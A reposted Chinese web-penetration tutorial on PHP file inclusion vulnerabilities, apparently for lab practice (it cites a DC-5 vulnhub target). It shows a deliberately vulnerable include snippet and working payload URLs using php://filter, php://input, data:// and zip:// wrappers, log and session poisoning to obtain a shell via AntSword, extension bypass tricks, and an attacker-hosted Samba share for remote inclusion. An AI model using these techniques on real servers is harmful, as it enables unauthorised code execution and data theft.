Web渗透-文件包含漏洞

一、简介

在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有
做合理的校检或者校检被绕过就造成了文件包含漏洞。

二、常见的文件包含函数

1 include() 
当使用该函数包含文件时,只有代码执行到jinclude()函数时才将文件包含进来,发生错误时之给出一
个警告,然后继续向下执行。2 include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次3 require()
require()与include()的区别在于re(执行如果发生错误,函数会输出错误信息,并终止脚本的运
行。4 require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。5 highlight_file() show_source()
函数对文件进行语法高亮显示,通常能看到源代码6 readfile(),file_get_contents()
函数读取一个文件,并写入到输出缓冲7 fopen()
打开一个文件或者url

三、文件包含漏洞分类

本地文件包含漏洞

  • 简介:当被包含的文件在服务器本地时,就形成了本地文件包含
  • 示例:
<?php$file = $_GET['file'];
include $file;?>
  • 利用方式:在寻找到服务器文件包含漏洞时,还需要探测出服务器的文件路径,可以通过文件上传漏洞将木马文件上传到服务器中,再利用文件包含漏洞执行木马文件。

远程文件包含漏洞

  • 简介:本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini中的配置选项allow_url_fopen和allow_url_include为on的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
  • 漏洞利用所需条件
# 需要的php.ini中开启以下配置
allow_url_fopen:on
allow_url_include:on

四、漏洞利用方式-PHP伪协议

PHP伪协议

  • 简介:PHP伪协议事实上就是PHP支持的协议与封装协议(PHP内置的协议)
 file://  访问本地文件系统http://  访问 HTTP(s) 网址ftp://   访问 FTP(s) URLsphp://   访问各个输入/输出流zlib://  压缩流data://  数据glob://  查找匹配的文件路径模式phar://  PHP 归档ssh2://  Secure Shell 2rar://  RARogg://  音频流expect://   处理交互式的流ftp:// 访问ftp(s)URLs

file://包含

  • 作用:用户访问本地文件系统,用于读取本地文件并且不会受到allow_url_fopen和allow_url_include的影响。
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例:
// 准备一个文件包含的php文件
// file.php
<?php$file = $_GET["file"]include($file)
?>
// 上传文件
<?php
echo("test");
?>

image.png

php://包含

  • 用法

image.png

  • php://filter

image.png
image.png

  • 条件
allow_url_fopen:on/off
allow_url_include:on

image.png

  • php://filter示例
// 读文件 
// read:通过base64编码读取文件
// resource:文件路径
// 读到文件后需要通过base64解码
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=test.php// 解码网站:https://base64.us/
// PD9waHANCmVjaG8oInRlc3QiKTsNCj8+
// 结果:
<?php
echo("test");
?>

image.png
image.png

  • php://input示例

image.png

// 访问路径
http://10.196.93.67/file.php?file=php://input
// 通过post方法将php代码添加到请求中。

image.png

zip://包含或zlib://包含

  • 作用:可以访问压缩文件中的子文件,重点是不需要制定后缀名,可任意修改后缀:jpg/png/gif等
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例
    • 准备:一个php文件写好代码后,就后缀修改为jpg,并压缩

image.png

// url编码:%23=#
// 地址:http://localhost/file.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23test.jpg

image.png

data://包含

  • 作用:自PHP大于等于5.2.0后,可以使用data://数据流封装器,以传递相应格式的数据。执行php代码
  • 条件:
# 两项都为on
allow_url_fopen:on
allow_url_include:on
  • 用法:
/*
base64 后面使用base加密方式 ,不需要加?>
*/data://text/plain,
data://text/plain;base64,
  • 示例:
# url编码: %27='   %20=空格 %3C=< %3E=>
http://localhost/file.php?file=data://text/plain,%3C?php%20echo(%27data%27);?%3E
// 源:
http://localhost/file.php?file=data://text/plain,<?php echo('data');?>

image.png

phar://包含

  • 作用:和zip://功能类似,都是压缩包,可能存在版本问题
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off

四、漏洞利用方式-通过日志getShell

训练靶场:https://download.vulnhub.com/dc/DC-5.zip

简介

日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据,诊断问题的追踪以及理解系统的活动等重要作用。

服务日志文件路径

服务地址
Apache(window)Apache/logs
Apache(kali)/var/log/apache2/error.log

利用方式

/*
当访问php网站时,通过输入恶意语句访问失败,网站将会把恶意语句记录到error日志文件中。
因为日志文件是存在于服务中的,所以拥有运行php的环境
*/

示例

// 访问日志路径
http://localhost/file.php?file=../Apache/logs/error.log

image.png

  • 使用抓包工具构造错误的恶意代码
    • 注意点:不建议直接在浏览器的URL栏上构造代码,因为会存在浏览器的URL栏会解析URL编码,导致构造失败。

image.png
蚁剑

url:http://10.196.93.67/file.php?file=../Apache/logs/error.log
密码:cmd

image.png
image.png

四、漏洞利用方式-通过session包含

简介

session就是保存在服务器的文本文件。默认情况下,php.ini中设置的session保存方式是files(session.save_handler-files),即使用读写文件的方式保存session数据,而 session on文件保存的目录由session.save_path指定,文件名以 sess 为前缀,后跟 session id,如:
sess c72665af28a8b14c0fe11afe3b59b51b.文件中的数据即是序列化之后的session数据了

ssession路径

# phpsttdy:
# D:\phpStudy 为phpStudy安装目录
D:\phpStudy\PHPTutorial\tmp\tmp

利用条件

1 需要找到session文件路径(可以通过phpinfo函数、默认位置尝试)
2 其中部分内容可以控制(如将代码编写在注册或登录可能存session的地方)

利用方式

// 和通过日志文件获取shell类似,在session文件中编写恶意代码,在通过文件包含,执行session文件。

示例

  • 准备模拟环境
# 创建session.php文件<?php
session_start();
$sess=$_GET['sess'];
$_SESSION['cmd'] = $sess
?>
  • 访问文件
url: http://localhost/session.php?sess=%3C?php%20phpinfo()?%3E
# 源:
http://localhost/session.php?sess=<?php phpinfo();?>

image.png

  • 包含文件
url:http://localhost/file.php?file=../tmp/tmp/sess_c44a555a5d79d3ab49b1a9b6b358d8bc

image.png

五、文件包含限制绕过方式

本地限制文件类型绕过

  • 限制代码
# 只能包含html文件
<?php
$file = $_GET['file'];
include($file.".html") # 文件名以.html结尾
?>

绕过方式一
方式一:在上传是添加需要的文件后缀
例:本来文件为a.txt,上传时修改为a.txt.html
填写的url为:httpc

绕过方式二
方式二:%00截断
利用特点:window特性
存在条件:magic_quotes_gpc=off ; PHP版本<5.3.4

绕过方式三
方式三:路径长度截断(../)
window路径长度最长为:256
例:localhost/file.php?file=a.txt/./././././././././
linux路径长度最长为:4096

远程限制文件类型绕过

绕过方式一
// 在文件后面添加问号或 %23
// localhost/file.php?file=http://www.varin.cn/a.txt?.html
// 将.html 当做了参数
// 例如
localhost/file.php?file=http://www.varin.cn/a.txt?
localhost/file.php?file=http://www.varin.cn/a.txt%23

共享文件夹绕过

  • 简介:

image.png

  • 利用方式:
# 在公网的服务器上搭建一个匿名访问的共享文件夹访问:
# 例:
http://localhost/file.php?file=\\www.varin.cn\a.txt
  • 扩展:
# samba 在kali上安装
apt install samba
# 查看是否安装成功
samba -v
  • 示例
#  kali
cd /var/www/html
mkdir pub
chmod 555 pub
chown nobody:nogroup pub/ # 设置用户组
# 清空samba配置文件
echo >/etc/samba/smb.conf 
vim /etc/samba/smb.confi
#添加以下配置
[global]
workgroup= WORKGROUP
serverstring = Samba Server %v
netbiosname = indishell-lab
security= user
mapto guest = bad user
nameresolve order = bcast host
dnsproxy = no
bindinterfaces only = yes
[ica]
path= /var/www/html/pub
writable= no
guestok = yes
guestonly = yes
readonly = yes
directorymode = 0555
ervice smbd restart # 重启samba服务
# 在共享文件夹中准备恶意代码
echo '<?php phpinfo() ?>' > a.php

image.png
image.png
\10.196.93.101\ica

  • 访问
    • url:http://localhost/file.php?file=\10.196.93.101\ica\a.php

image.png

五、文件包含特征

黑盒测试

方法一:寻找网址是否存在以下参数:
filename=xx.php
include=xx.php
方法二:判断系统

白盒测试

代码审计,看源码,找漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/858096.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是深度神经网络?与深度学习、机器学习、人工智能的关系是什么?

什么是深度神经网络&#xff1f;与深度学习、机器学习、人工智能的关系是什么&#xff1f; &#x1f916;什么是深度神经网络&#xff1f;与深度学习、机器学习、人工智能的关系是什么&#xff1f;摘要引言正文内容1. 什么是深度神经网络&#xff1f;&#x1f9e0;1.1 深度神经…

如何占领消费者科技心智?这家中国企业给出标准答案

品牌的价值是什么&#xff1f; 沃伦巴菲特和查理芒格曾提出过著名的“护城河”模型&#xff0c;将品牌作为一家公司构建护城河的基本要素之一。 按照巴菲特的说法&#xff1a;“你会试着去创建一个跟迪士尼竞争的品牌吗&#xff1f;可口可乐这个品牌让人联想到世界各地畅饮可…

Cadence 16.6与17.4个人学习版推荐

一. 简介与下载 Cadence个人学习版是基于Cadence官方发行的安装包做了适当精简和优化的二次打包版本&#xff0c;包括了Cpature原理图设计、PSpice 电路仿真以及Allegro PCB设计等以电子产品设计为主的主要功能&#xff0c;能满足绝大部分硬件工程师的使用需求。 学习版预先已…

nacos 简述 安装运行

一、下载 官网:Redirecting to: https://nacos.io/ 文档:Nacos 快速开始 github地址:GitHub - alibaba/nacos: an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications. 下载nacos server(tips:也…

【Gradio】Custom Components | Gradio组件关键概念 后端

Gradio组件关键概念 在本节中&#xff0c;我们将讨论Gradio中组件的一些重要概念。在开发自己的组件时&#xff0c;理解这些概念非常重要。否则&#xff0c;您的组件可能会与其他Gradio组件的行为大不相同&#xff01; ✍️ 提示&#xff1a;如果你熟悉Gradio库的内部机制&…

达梦8 通过日志解释数据守护系统的关停顺序

关闭守护系统时&#xff0c;必须按照一定的顺序来关闭守护进程和数据库实例。特别是自动切换模式&#xff0c;如果退出守护进程或主备库的顺序不正确&#xff0c;可能会引起主备切换&#xff0c;甚至造成守护进程组分裂。 官方推荐通过在监视器执行stop group命令关闭守护系统…

ALOS 12.5m DEM下载

1、下载地址 阿拉斯加遥感数据下载地址&#xff1a;https://search.asf.alaska.edu/ &#xff1b; 数据详情描述见地址&#xff1a;https://asf.alaska.edu/datasets/daac/alos-palsar-radiometric-terrain-correction/ &#xff1b; 2、下载步骤 2.1、勾绘研究区 在网站中…

以太坊==windows电脑本地搭建一个虚拟的以太坊环境

提供不同的选择&#xff0c;适合不同需求和技术水平的开发者&#xff1a; Geth&#xff1a;适合需要与主网兼容或构建私有网络的开发者。Ganache&#xff1a;适合快速开发和测试智能合约的开发者&#xff0c;特别是初学者。Docker&#xff1a;适合需要快速、可重复搭建环境的开…

OpenWRT Linux, bridge概念解释

bridge简介 在 OpenWrt Linux 系统中,bridge(网桥)的概念通常指的是在数据链路层(OSI 模型的第2层)实现连接和数据转发的虚拟网络设备。它的主要作用是将多个网络接口(例如 LAN 口、WLAN 等)连接在一起,使它们在逻辑上组成一个单一的网段,并在其间转发数据包。 具体介绍 网桥…

笔记-python reduce 函数

reduce() 函数在 python 2 是内置函数&#xff0c; 从python 3 开始移到了 functools 模块。 官方文档是这样介绍的 reduce(...) reduce(function, sequence[, initial]) -> valueApply a function of two arguments cumulatively to the items of a sequence, from left …

C语言之IO流函数

文章目录 1 IO 函数1.1 错误函数1.1.1 检测流上的错误函数ferror1.1.2 复位错误标志函数clearerr 1.2 结束函数1.2.1 检测文件结束符函数feof1.2.2 清除文件缓冲区函数fflush 1.3 处理文件函数1.3.1 文件的打开与关闭函数fopen,fclose1.3.2 替换文件中数据流函数freopen1.3.3 文…

树状数组维护区间种类数

[SDOI2009] HH的项链 题目描述 HH 有一串由各种漂亮的贝壳组成的项链。HH 相信不同的贝壳会带来好运&#xff0c;所以每次散步完后&#xff0c;他都会随意取出一段贝壳&#xff0c;思考它们所表达的含义。HH 不断地收集新的贝壳&#xff0c;因此&#xff0c;他的项链变得越来…

八爪鱼现金流-027,以后别再做软件开发了,累了,要有自己的作品

别做软件开发了&#xff0c;太恶心了。 裁员好几波人&#xff0c;他们的项目就给到剩下的人身上了。 然后工作量翻倍&#xff0c;主要是遗留的项目也一堆bug.人员流动性太大。 项目的产品也换人了。开发也换了。没有人熟悉这个项目了。 现状就是&#xff0c;先看页面&#xff…

什么是熵、熵增是什么?

目录 一、熵的定义1. 热力学中的熵2. 信息论中的熵 二、熵增三、生活中的熵增示例四、总结 一、熵的定义 1. 热力学中的熵 熵&#xff08;entropy&#xff09;&#xff0c;在热力学中&#xff0c;熵是描述系统混乱程度或无序程度的物理量。它反映了系统在微观上可访问的状态数…

简易智能家居系统

文章目录 摘要一、系统设计要求及总体设计方案1.1 设计要求1.2 总体设计方案 二、终端结点的设计及实现2.1单片机最小系统2.2 LED灯的控制与工作状态的显示2.2.1 硬件设计2.2.2 软件设计 2.3 温度的测量与显示2.4 火灾的监测与报警2.5 串口的显示与控制 三、网络传输与控制3.1 …

拦截器Interceptor

概念&#xff1a;是一种动态拦截方法调用的机制&#xff0c;类似于过滤器。Spring框架中提供的&#xff0c;用来动态拦截方法的执行。 作用&#xff1a;拦截请求&#xff0c;在指定的方法调用前后&#xff0c;根据业务需要执行预先设定的代码。

vue3中的readonly

<template><div>{{ sum }}{{ person }}<button click"ssum">修改sum</button><button click"sperson">修改name</button><button click"spage">修改age</button><button click"carcar1…

【杂记-浅谈OSPF协议中的邻居关系与邻接关系】

OSPF协议中的邻居关系与邻接关系 1、邻居关系2、邻接关系3、DR-other之间的邻居关系 在OSPF协议中&#xff0c;Neighbor relationship 邻居关系和Adjacency 邻接关系是两个核心概念&#xff0c;它们在路由器之间建立正确的路由信息传递机制方面起着关键作用。 1、邻居关系 邻…

已解决javax.management.BadAttributeValueExpException异常的正确解决方法,亲测有效!!!

已解决javax.management.BadAttributeValueExpException异常的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 报错原因 解决思路 解决方法 分析错误日志 检查属性值合法性 确认属性类型匹配 优化代码逻辑 增…

js函数内 this 指向的不同场景

在 JavaScript 中&#xff0c;函数内部的 this 关键字是一个特殊的对象&#xff0c;它的值取决于函数被调用的方式。this 可以指向不同的对象&#xff0c;因此在不同的场景中它会有不同的含义。下面是一些常见的场景以及 this 的指向&#xff1a; 全局作用域&#xff1a;当函数…